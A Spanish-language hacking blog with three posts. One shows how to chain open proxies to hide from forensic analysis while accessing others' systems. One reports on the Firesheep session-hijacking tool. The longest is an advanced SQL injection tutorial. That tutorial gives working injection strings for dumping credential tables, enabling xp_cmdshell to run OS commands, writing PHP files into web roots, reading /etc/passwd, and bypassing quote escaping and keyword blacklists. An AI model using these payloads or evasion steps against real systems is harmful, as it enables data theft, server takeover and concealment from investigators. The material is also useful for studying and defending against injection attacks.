Proxy chaining... or how to hide your ass
A veces es necesario no dejar rastros cuando accedemos a sistemas de terceros. Sea cual sea el motivo (supongamos que es por razones nobles) y si es un sistema sensible, queremos asegurarnos de quedar lo más ocultos posibles y no dejar huellas como direcciones IP, footprints de encabezados HTTP, etc.

Para esto siempre es conveniente utilizar un servidor proxy como un intermediario que accede al servidor objetivo por nosotros y luego nos devuelve los resultados. De esta forma, si el servidor objetivo loguea nuestra actividad en el sistema, quien quedará "escrachado" en los logs será el proxy en lugar de nosotros. Así quedamos cubiertos en caso de un eventual análisis forense en el servidor objetivo.

Pero... Puede suceder que el análisis forense consulte al proxy y éste entregue información sobre nuestros accesos, lo que nos pondría en evidencia. Esta situación nos obliga a ocultar aún más nuestro rastro utilizando un proxy en el proxy. Es decir un intermediario del intermediario, para crear una cadena lo suficientemente larga que nos oculte más.

Esta técnica que consiste en conectarse a más de un proxy se denomina "proxy chaining". Cuanto mayor sea la cadena más ocultos estaremos, aunque cabe aclarar que no importa cuantos proxies agreguemos a la cadena, nunca seremos 100% anónimos.

De todas formas hay que ocultar nuestro trasero lo más que se pueda...


Proxy chaining

El proceso es bastante simple, primero ingresaremos en algún sitio como whatismyip.com para detectar con qué dirección IP salimos a Internet:


Se observa que nuestra dirección IP es 200.x.x.x. Este sitio además nos informa que estamos saliendo a Internet a través de un proxy.

Luego buscamos en Google una lista de servidores proxy abiertos (sin usuario ni password) y gratuitos:


El sitio Proxy 4 Free es uno de los primeros que aparece en la búsqueda. Es conveniente ordenar los servidores por Rating o Uptime:


Para nuestro ejemplo, el primero que elegí, al azar, fue online proxi:


Ahora, utilizando el cuadro de URL del proxy (no el de nuestro browser) accedemos a whatismyip para ver desde qué dirección IP se hace el pedido HTTP:


Se observa que ahora la dirección IP que hace el pedido HTTP es 173.224.217.162. Hasta ahora estamos ocultos detrás de un sólo proxy. Para comenzar la cadena, vamos a ingresar la dirección del siguiente proxy en el cuadro de URL del primer proxy. Como segundo proxy utilicé openet.info:


Ingresamos a whatismyip desde el cuadro de URL de openet.info y observamos que ahora la dirección IP que hace el pedido HTTP es 94.75.216.169:


Como se observa en la captura anterior, ahora tenemos dos cabeceras de proxy. La primera, de color amarillo, corresponde al proxy online proxi; la segunda, de color gris, corresponde a openet.info.
Siguiendo con el proceso de chaining agregamos otro servidor proxy a la cadena. Esta vez se trata de Safety Proxy:


Ingresamos a whatismyip nuevamente y se observa la dirección 67.159.44.24:


Ahora se observa una cabecera adicional, la cual aparece arriba de las dos anteriores. En el campo de URL de esta cabecera es donde debemos realizar nuestros pedidos HTTP.
Cabe aclarar que cuanto mayor sea la cantidad de servidores proxy que agregamos a la cadena, más lenta se torna la navegación ya que todos los pedidos y respuestas deben atravesar toda la cadena.

El siguiente gráfico muestra la cadena de servidores proxy que atraviesan nuestros pedidos hasta llegar al servidor objetivo:


Que lo disfruten!
Nueva extensión para Firefox: Firesheep

La llegada de Firesheep (una extensión de Firefox que automatiza algo que se podía hacer manualmente utilizando Wireshark desde hace años) revolucionó el mundo. Firesheep permite capturar cookies de otras personas esnifeando redes inseguras para luego loguearse en sus cuentas Web. Por ejemplo, me conecto a una red insegura (como una red inalámbrica abierta), luego "pepito" (que se encuentra conectado a la misma red) se loguea en facebook, utilizando Firesheep obtengo la cookie de "pepito" en facebook y a continuación entro a la cuenta de "pepito" en facebook. Así de simple.

El éxito de esta herramienta radica en que basta hacer un par de clics para robar una cuenta Web, algo al alcance de cualquiera, a diferencia de: abrir Wireshark; capturar tráfico de la red insegura; filtrar la captura; copiar el contenido de una cookie; insertar la cookie en el navegador; y finalmente ingresar al sitio.

Debido a esto, creo, va a provocar un caos en las redes inalámbricas abiertas ya que ahora cualquier afiliado al PAMI te hace un session hijacking con 2 clics, que bien :). Aunque por el momento sólo está disponible para Windows y Mac OS, que mal :(

Cabe destacar que esto no es sólo una vulnerabilidad de las redes inalámbricas abiertas, sino que aplica también para las redes cableadas no switcheadas (y switcheadas también, haciendo un previo ataque ARP poisoning).

Pueden ver un video sobre esta herramienta en acción aquí.

Lo más interesante de esta clase de vulnerabilidad es que pone en tela de juicio la seguridad de la llamada """Web 2.0""" y el nivel de adopción de SSL. Un estudio realizado por Digital Society clasificó el nivel de seguridad de los sitios más importantes como Facebook, Google, Twitter, Hotmail, etc. Les recomiendo leer este excelente artículo: Online services security report card. Como siempre, Google a la vanguardia:



Espero que sirva para concientizar, y la próxima vez que se conecten a una red inalámbrica abierta no envíen credenciales sin utilizar HTTPS!

Saludos!
SQL Injection avanzado: consultas simplificadas, file inclusion, ejecución remota y más!
Continuando con la serie de artículos sobre SQLi esta vez les traigo técnicas avanzadas para lograr ataques de forma simplificada. En este artículo aprenderán a realizar los mismos ataques que antes pero en menos pasos, obteniendo los datos de tablas enteras en una sola consulta! Además de esto, me meto con ataques más serios como la inclusión de archivos locales y remotos, y ejecución de código. Por último mostraré un par de técnicas para atacar incluso cuando no podemos usar comillas o ciertas sentencias SQL.
Al igual que el artículo anterior, indicaré como realizar cada ataque en MySQL y SQL Server. Los ejemplos estarán basados en el código que publiqué en ese artículo.

Para el que se los haya perdido, los artículos anteriores fueron:
- Inyeccion mortal: SQL Injection
- El arte de la inyección blind (MySQL)
- SQL Injection en MySQL y SQL Server: robando datos con UNIONs y CASTs


Concatenemos columnas

Como vimos en el artículo anterior, usar uniones es muchísimo más rápido que ir tomando letra por letra y comparando con valores ascii para obtener cada caracter... pero esto todavía se puede optimizar más.
Una mejora que podemos hacer a las consultas anteriores, es utilizar concatenación. Dado que en muchos casos contamos con pocos campos para obtener información (en el ejemplo contamos con 2), si en una consulta deseamos obtener más datos de cada fila de la tabla, debemos hacer varias consultas por cada fila. En lugar de esto, podemos concatenar las diferentes columnas que deseamos en un solo string y de esta forma, obtenemos todas las columnas en una sola consulta.
La mayoría de los DBMS cuentan con concatenación. MySQL cuenta con las funciones CONCAT y CONCAT_WS. CONCAT concatena todas las variables pasadas por parámetro, mientras que CONCAT_WS permite concatenar los parámetros separándolos con un separador especificado por el usuario (el WS es por "With Separator"), el cual se indica en el primer parámetro de la función. Por su parte, en SQL Server se pueden concatenar variables utilizando el caracter + (algo común entre lenguajes de programación).

Supongamos que en el ejemplo anterior además del usuario y el password, queremos el e-mail y el nombre. En MySQL podemos obtener todo esto junto en la siguiente consulta:
SELECT CONCAT_WS(' : ', name, email, username, password) FROM t_user
que traducimos a:
?id=-1' union all select '1',CONCAT_WS(':',name, email, username, pass),'1' from t_user limit 0,1 -- 1
Por su parte, en SQL Server hacemos lo mismo con lo siguiente:
SELECT user + ':' + email + ':' + username + ':' + pass FROM t_user
que en la inyección queda:
?id=-1' union all select '1',user%2b':'%2bemail%2b':'%2busername%2b':'%2bpass,'3' from (select *,ROW_NUMBER() over (order by username) as row from t_user ) as temp where row>0 and row<=1 --
Como pueden observar, convertí el caracter + a su codificación URL. De no hacer esto, el browser interpreta el + como un espacio " ", y envía la consulta convertida a un espacio en el server, ocasionando que de error.
El caracter que utilicé para concatenar las consultas es el dos puntos ":".
De esta forma, si bien todavía hay que realizar una consulta por cada fila, no necesitamos hacer varias consultas para obtener los campos de una sola fila, reduciendo bastante el trabajo.


Para qué hacer tantas consultas, si tenemos "GROUP_CONCAT" y "FOR XML"

En la sección anterior vimos como concatenando columnas podemos ahorrar bastante tiempo para obtener cada registro, pero también podemos concatenar todos los registros y columnas en un solo registro! Esto quiere decir que en lugar de obtener cada registro de a uno por vez, podemos obtener toda una tabla en una sola consulta... es mágico!!!
Con la introducción anterior, como mínimo espero que estén intrigados de cómo hacerlo, porque esto ahorra horas de trabajo. Existen distintas técnicas para MySQL y SQL Server, porque no es una consulta genérica SQL. Vamos entonces por partes.
En MySQL existe una función llamada GROUP_CONCAT que retorna un string conteniendo los valores de un grupo concatenados. El grupo a concatenar pueden ser los registros que nos interesan. Si queremos entonces obtener todos los registros de la tabla t_user, podemos hacer una consulta como la siguiente:
SELECT GROUP_CONCAT(username,':',pass,':',email,':',name) FROM t_user
y si lo traducimos a la inyección:
?id=-1' union all select '1',group_concat(username,':',pass,':',email,':',name),'3' from t_user -- 1
Como pueden observar, agregué el caracter ':' para poder separar una columna de otra. Las filas concatenadas estarán separadas por una coma, pero si deseamos utilizar otro caracter, podemos aprovechar la clausula SEPARATOR de la siguiente forma:
?id=-1' union all select '1',group_concat(username,':',pass,':',email,':',name separator '/'),'3' from t_user -- 1
Pasemos a SQL Server. En este DBMS no contamos con una función como en MySQL, pero de SQL Server 2000 en adelante existe la cláusula FOR XML, la cual permite retornar todos los campos de una consulta en un solo registro XML!!!
La cláusula FOR XML se utiliza al final del SELECT de la siguiente forma:
SELECT * FROM t_user FOR XML RAW,BINARY BASE64
El último argumento (RAW en el ejemplo) permite especificar el formato de salida. Los 4 posibles son RAW, AUTO, EXPLICIT y PATH, del cual solo resulta interesante RAW que devuelve el XML con toda la estructura de la tabla. Se puede modificar la salida RAW aplicando opciones, siendo la más interesante BINARY BASE64, la cual nos sirve para codificar datos binarios en base64.

Para nuestra inyección, lo podemos traducir de la siguiente forma:
?id=-1' union all select '1',cast((select * from t_user for xml raw,binary base64) as text),'3
Como verán, utilicé un CAST para indicar que los datos devueltos son de tipo text. Esto lo necesité en el caso de ejemplo porque SQL Server no transmite datos Unicode a la librería mssql de PHP. Al intentar hacerlo devolvía el siguiente error:
Unicode data in a Unicode-only collation or ntext data cannot be sent to clients using DB-Library (such as ISQL) or ODBC version 3.7 or earlier.
Tal vez en otros casos no sea necesario el CAST, pero igual no está de más.

Como pueden observar, con esta consulta obtienen todos los registros de la tabla en una sola consulta, y sin necesidad de conocer el nombre de los campos de la tabla, sólo necesitan el nombre de la tabla. Esta es una optimización enorme al proceso que estábamos realizando antes. La técnica la tome del paper SFX-SQLi - SELECT FOR XML SQL INJECTION.
Algo a tener en cuenta es que si hacen la inyección a través del browser, posiblemente no vean nada, porque el browser interpreta los tags XML y no los muestra. Pero los datos están ahí, simplemente vean el código de la página y los encontrarán =)


Ejecución de comandos en SQL Server

En la siguiente sección necesitaré ejecutar comandos desde la base de datos, así que introduzcamos este tipo de ataques.
"Gracias" a la integración entre SQL Server y Windows, es posible ejecutar programas del sistema operativo desde el DBMS, algo bastante loco, pero que es parte de la "funcionalidad extendida" de lenguajes como TSQL. Esto es bastante malo para la seguridad y muy bueno para los atacantes. El método más comúnmente utilizado para la ejecución de comandos es el stored procedure xp_cmdshell, el cual toma como parámetro el comando a ejecutar y retorna una tabla con tantas filas como líneas retorne el resultado.
Por seguridad, a partir de SQL Server 2005, xp_cmdshell viene desactivado y no se puede utilizar a menos que lo activemos. Si el sistema atacado no fue configurado para poder utilizar xp_cmdshell, primero habrá que activarlo. Para activarlo es necesario ser administradores (ej el usuario 'sa'), es decir, la aplicación que estamos inyectando debería estar utilizando un usuario de base de datos con permisos de administrador... aunque parezca raro, esto suele ser bastante común.
Si debemos activar xp_cmdshell, hay que ejecutar las siguientes sentencias:
EXEC sp_configure 'show advanced options',1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
que inyectado sería:
?id=-1'; exec sp_configure 'show advanced options',1; reconfigure; exec sp_configure 'xp_cmdshell',1; reconfigure; --
Una vez que contamos con xp_cmdshell podemos ejecutar cualquier comando que se les ocurra, como por ejemplo, listar el contenido de un dado directorio:
EXEC xp_cmdshell 'dir c:\';
El problema es cómo ver el resultado retornado por las consultas. Para hacerlo podemos utilizar tablas temporales que luego borramos para no dejar rastros. La mayoría de los usuarios de base de datos tienen permiso para crear tablas en su propia base de datos, así que esto no es problema. Lo que haremos entonces es crear una tabla con un solo campo, meteremos el resultado de la consulta en ella, y luego leeremos el campo con otra consulta. Una vez que leímos el resultado, borramos la tabla. Todo esto es:
CREATE TABLE temp( line VARCHAR(8000) );
INSERT INTO temp exec xp_cmdshell 'dir c:\';
SELECT line from temp FOR XML RAW,BINARY BASE64;
DROP TABLE temp;
Para nuestra inyección, todo esto se traduciría a lo siguiente:
?id=-1'; create table temp (line varchar(8000)); insert into temp exec xp_cmdshell 'dir c:\'; -- creamos la tabla y asignamos el resultado de ejecutar un dir
?id=-1' union allselect '1',cast((select line from temp FOR XML RAW,BINARY BASE64) as text),'3
?id=-1'; drop table temp --
Como la salida es en múltiples registros, utilicé for xml como expliqué anteriormente.

El peor de los males no es ejecutar comandos de consultas, sino ejecutar cualquier comando. De la misma forma podría crear un programa que realice una conexión remota desde el servidor de base de datos a la máquina del atacante y habilitarle un shell. Esto es bastante más complejo de hacer, pero existen herramientas que lo simplifican como metasploit. Esta explicación quedará para otro artículo =)


Bajar los datos a archivos

Si no queremos o podemos utilizar funciones como GROUP_CONCAT o FOR XML, y queremos obtener todos los datos de una tabla en una consulta, podemos hacerlo utilizando archivos.
Como lo que queremos es obtener los datos, para que la sentencia anterior nos sirva, debemos escribir un archivo que sea legible por el servidor web y de esta forma podremos levantar el resultado desde el browser. Esto no es tan simple, porque se tienen que dar varias condiciones para que esto sea posible:

- El usuario del sistema operativo con el que se ejecuta el servidor MySQL o SQL Server debe tener permiso de escritura en el directorio del servidor web. En GNU/Linux el usuario de MySQL suele llamarse mysql y por defecto NO tiene permiso de escritura en directorios web. Igualmente hay muchos administradores que configuran mal los permisos en sus directorios, así que no sería raro encontrar alguno donde se pueda escribir.
En Windows la cosa puede cambiar, porque es muy probable que el servicio MySQL o SQL Server se ejecute con permisos de Administrador... es decir, desde el DBMS se puede escribir en cualquier directorio!

- Necesitamos conocer el path absoluto del directorio web. Para poder acceder el archivo, necesitamos saber en qué directorio crearlo. Esto no suele ser tan difícil porque en general se utilizan directorios default. En GNU/Linux puede ser /var/www/ o /var/www/<nombre del site> o /home/<usuario>/public_html. En Windows, dependiendo del servidor, puede estar en c:\wamp\www o c:\inetpub\wwwroot.

En MySQL contamos con SELECT ... INTO OUTFILE o SELECT ... INTO DUMPFILE. El primero permite enviar el resultado de la consulta a un archivo en el servidor, con las columnas separadas por tabs y las filas con enters. El segundo también permite enviar el resultado a un archivo en el servidor, pero sin formatear la salida, es decir, todas las columnas y filas se concatenan una al lado de la otra.
Para cualquier actividad con archivos desde MySQL se requiere que el usuario de base de datos que ejecuta la consulta tenga el permiso global FILE. Este permiso permite al usuario leer y escribir archivos en el servidor.

Bien, suponiendo que contamos con todas las condiciones anteriores, veamos entonces como realizar la inyección. Tomando como base el ejemplo de nuestra página inyectable, lo que queremos hacer es armar una consulta que nos devuelva todos los registros y todas las columnas en una consulta:
SELECT * FROM t_user INTO OUTFILE '/var/www/inyeccion.txt'
Traducir esto a la inyección no es tan directo. Recuerden que por el formato de la consulta original, podemos obtener solo 3 columnas a la vez. Esto no es problema porque como vimos en la explicación anterior, podemos concatenar varias columnas en una sola usando la función CONCAT_WS. Para no agregar datos basura al archivo de texto, mostramos la concatenación de todas las columnas en una sola y para cubrir las otras dos necesarios insertamos el caracter null:
?id=-1' union all select CONCAT_WS(':',name, email, username, password),null,null from t_user into outfile '/var/www/inyeccion.txt
Ahora lo único que tienen que hacer es abrir la página desde el browser o usando nc, wget, etc, y apuntar al archivo inyeccion.txt. La dirección puede ser algo como http://www.superinseguro.com/inyeccion.txt

En SQL Server existen varias alternativas para crear archivos a partir de datos seleccionados, esto se debe a que permite ejecutar programas externos. El problema es que las alternativas requieren ejecutar programas externos, por lo cual necesitamos que el stored procedure xp_cmdshell esté habilitado.

Una vez que contamos con xp_cmdshell, podemos elegir entre las siguientes opciones:
- osql permite conectarse a la base de datos y ejecutar querys. MS la considera deprecated y prefieren el uso de sqlcmd.
- bcp bulk copy, permite realizar copia de datos de la base de datos a archivos. Es mucho más interesante que la anterior para nuestro objetivo.
El problema con las herramientas externas es que requieren las credenciales de la base de datos para conectarse y volcar los datos, por lo cual necesitamos conocer algun usuario... pero a no desesperar porque dependiendo del control que tengamos sobre la base de datos, podemos agregar un usuario, o bien, si se utiliza autenticación integrada, utilizar esta opción porque el DBMS confía en el usuario de Windows.
Eligiendo bcp como nuestra opción, el comando a ejecutar es el siguiente:
EXEC xp_cmdshell 'bcp testdb..t_user out C:\Inetpub\wwwroot\inyeccion.txt -Slocalhost -T -c '
que podemos traducir a:
?id=-1'; exec xp_cmdshell 'bcp testdb..t_user out C:\Inetpub\wwwroot\inyeccion.txt -Slocalhost -T -c ' --
Al igual que antes, apuntando al archivo desde el browser, podemos acceder a los datos.

Una opción que no requiere ejecución de un programa externo es el stored procedure sp_MakeWebTask que crea archivos HTML a partir del resultado de consultas a la base de datos. Por defecto, al igual que xp_cmdshell, viene desactivado. Para activarlo, debemos ejecutar una consulta similar a la que ejecutamos para activar xp_cmdshell:
EXEC sp_configure 'show advanced options',1
RECONFIGURE
EXEC sp_configure 'Web Assistant Procedures', 1
RECONFIGURE
es decir:
?id=-1'; exec sp_configure 'show advanced options',1; reconfigure; exec sp_configure 'Web Assistant Procedures',1; reconfigure; --
Si contamos con sp_makewebtask podemos ejecutar el siguiente comando para exportar la tabla t_user a un archivo que podamos levantar con el browser:
EXEC sp_makewebtask @outputfile='c:\Inetpub\wwwroot\inyeccion.txt', @query='select * from testdb..t_user';
traducido a:
?id=-1'; exec sp_makewebtask @outputfile='c:\Inetpub\wwwroot\inyeccion.txt', @query='select * from testdb..t_user'; --

Remote File Injection

A partir de la explicación anterior, seguramente alguno ya esté pensando en un ataque todavía más grave. Qué sucede si en lugar de crear un archivo txt con datos de tablas, creamos un programa php, asp, etc? si, estaremos haciendo un upload, algo muy similar al remote file inclusion, al cual bauticé remote file injection (tal vez ya exista otro nombre para este ataque =P). En este punto las posibilidades son infinitas, si logramos incluir un programa básico, luego podremos hacer upload de cualquier cosa que deseemos y tomar control del servidor.
El ataque es igual al anterior, pero cambiando el select de tablas por un select de un string creado por nosotros. En MySQL esto significa ejecutar lo siguiente:
SELECT '<?php print("hackeado!"); ?>' INTO DUMPFILE hacking.php
que traducido a la inyección de nuestra página queda:
?id=-1' union all select '<?php print("hackeado!"); ?>',null,null into dumpfile '/var/www/hacking.php
De la misma forma, pueden inyectar el contenido que se les antoje. Tal vez tengan limitada la cantidad de caracteres a inyectar, pero como dije antes, un script simple permite hacer uploads de otros scripts, es cuestión de usar la imaginación =)

Para hacer la misma tarea en SQL Server, podemos utilizar bcp de la siguiente forma:
EXEC xp_cmdshell 'bcp "SELECT ''<?php print("hackeado!"); ?>''" queryout c:\Inetpub\wwwroot\hacking.php -T -c'
pero para qué complicarnos la vida usando bcp si podemos simplemente utilizar un echo de la siguiente forma:
EXEC xp_cmdshell 'echo ^<?php print("hackeado!"); ?^> > c:\Inetpub\wwwroot\hacking.php'
y simplemente traducido a:
?id=-1'; exec xp_cmdshell 'echo ^<?php print("hackeado!"); ?^> > c:\Inetpub\wwwroot\hacking.php' --
Si no tienen demasiada experiencia con la consola de Windows (como yo), les llamará la atención los ^, bueno, son para escapar los corchetes angulares (<>).


Local File Inclusion

Así como pudimos crear un archivo en el servidor (ya sea un script, un programa, etc), si tenemos los permisos indicados, también podremos cargar un archivo del servidor y mostrarlo. Hay muchos archivos que pueden resultar de interés, pero el ejemplo más claro en los *nix es el /etc/passwd

En MySQL contamos con la función LOAD_FILE() para incorporar un archivo y la podemos utilizar en un SELECT, lo que quiere decir que podemos hacer un dump de /etc/passwd en pantalla. Claro que para poder usar la función LOAD_FILE es necesario contar con el privilegio FILE de MySQL como les expliqué anteriormente.
La consulta que necesitamos hacer es la siguiente:
SELECT LOAD_FILE('/etc/passwd')
la cual, utilizando el ya conocido ejemplo, se traduciría a:
?id=-1' union all select '1',load_file('/etc/passwd'),'2
bastante simple no?

En SQL Server la cosa es un poco más complicada, pero igualmente posible. Para lograrlo, primero debemos importar el contenido del archivo que deseamos en una tabla, para luego seleccionar el contenido de la tabla. Si no queremos dejar rastro, habrá que eliminar la tabla una vez que la accedimos.
El operador que permite hacer esta tarea es BULK INSERT, y lo podemos utilizar de la siguiente forma:
CREATE TABLE temp( line VARCHAR(8000) );
BULK INSERT temp FROM 'c:\Inetpub\wwwroot\iisstart.asp' WITH (ROWTERMINATOR = '\0');
DROP TABLE temp;
Como dije previamente, primero creamos una tabla donde meter los datos, luego colocamos los datos del archivo c:\Inetpub\wwwroot\iisstart.asp usando BULK INSERT, indicando que el delimitador de filas es el caracter null. Con este delimitador de línea podremos leer todo el archivo en un solo registro, algo que nos servirá para luego accederlo desde la página. Finalmente borramos la tabla.
El código anterior lo podemos traducir a inyección de la siguiente forma:
?id=1'; create table temp (line varchar(8000)); bulk insert temp from 'c:\Inetpub\wwwroot\iisstart.asp' with (ROWTERMINATOR = '\0'); --
?id=-1' union all select '1',line,'3' from temp; --
?id=1'; drop table temp; --
Vale aclarar que para poder insertar un archivo en una tabla, el usuario de base de datos debe tener el permiso bulkadmin, y claro, debemos tener permiso e lectura en el archivo.

Pueden ver un ejemplo completo de cómo usar BULK INSERT en SQL SERVER – Import CSV File Into SQL Server Using Bulk Insert – Load Comma Delimited File Into SQL Server.


No puedo usar comillas... no importa!

En la mayoría de las inyecciones necesitaremos utilizar strings, y los strings van entre comillas, entonces, qué sucede si no podemos utilizar comillas?, ya sea porque estén escapeadas o por alguna razón del lenguaje subyacente, en algunos casos todavía es posible inyectar...
Un string se puede representar de varias formas, no solamente entre comillas. La forma más utilizada es obtener el caracter ascii de cada caracter para luego utilizar la función char y concatenarlos para obtener el string que deseamos. Tanto MySQL como SQL Server proveen la función char para cumplir este objetivo, aunque la concatenación se realiza de distintas formas. Por ejemplo, podemos representar el string test de la siguiente manera:
- CHAR(116, 101, 115, 116) //en MySQL
- CHAR(116)+CHAR(101)+CHAR(115)+CHAR(116) //en SQL Server
Entonces, si la consulta del código de ejemplo estuviera armada de forma que se espere un entero como id y se escapean comillas:
$query = SELECT * FROM content WHERE id=mysql_real_escape_string($_GET['id']);
mysql_query($query);
podríamos igualmente hacer inyecciones como la que me permite obtener el password del usuario demasiadovivo:
?id=-1 union all select null,pass,null from t_user where username=CHAR(100, 101, 109, 97, 115, 105, 97, 100, 111, 118, 105, 118, 111)
y en SQL Server a:
?id=-1 union all select null,pass,null from t_user where username= CHAR(100)+CHAR(101)+CHAR(109)+CHAR(97)+CHAR(115)+CHAR(105)+CHAR(97)+CHAR(100)+CHAR(111)+CHAR(118)+CHAR(105)+CHAR(118)+CHAR(111)
En MySQL contamos con otra alternativa para generar strings sin utilizar comillas, que es utilizar la representación en hexa. Por ejemplo, podemos obtener la representación en hexa del usuario demasiadovivo con la siguiente consulta:
SELECT CONCAT('0x',HEX('demasiadovivo'))
la cual luego podemos utilizar en la inyección de la siguiente forma:
?id=-1 union all select null,pass,null from t_user where username=0x64656D61736961646F7669766F

Escapar blacklists

Un recurso que he visto en algunos sites Web es el de las blacklist, es decir, parsear los parámetros en busca de inyecciones y si encontramos algo, o bien eliminarlo o abortar la consulta. Las blacklist son un recurso pésimo para asegurar una aplicación, por una parte porque son ineficientes y por otra porque no realizan un trabajo completo y son fáciles de bypassear.
Por más completa que esté una blacklist, es posible que olvidemos algo y eso es lo que el atacante espera. Además las blacklist se centran en buscar parámetros SQL como SELECT, UNION, INSERT, --, etc, así que imaginense que si en un campo de una página estaba permitido escribir "la union de los trabajadores", ahora no es posible porque dicha consulta está baneada.

Además de lo anterior, es posible bypassear este tipo de controles agregando comentarios. Por ejemplo, una consulta que contenga UNION ALL SELECT '1', será pezcada por nuestro mecanismo de seguridad de blacklists, pero nada impide al atacante escribir la consutla como UNION/**/ALL/**/SELECT/**/'1', una consulta válida para los DBMS y que bypassea mecanismos simples de blacklists


More, more, more!

Si bien cubrí prácticamente todos los ataques interesantes, el límite es su creatividad. Tal vez a ustedes se les ocurran mucho más para hacer y me encantaría que lo compartan.
Un ataque interesante con SQLi es el que mostré hace varios meses en Reflected XSS a través de SQL Injection.
Existe un cheat-sheet muy completo donde se resumen la mayoría de estos ataques y algunos más, incorporando algunos otros DBMSs como Oracle y PostgreSQL, vale la pena que le den una leída: SQL Injection Cheat Sheet.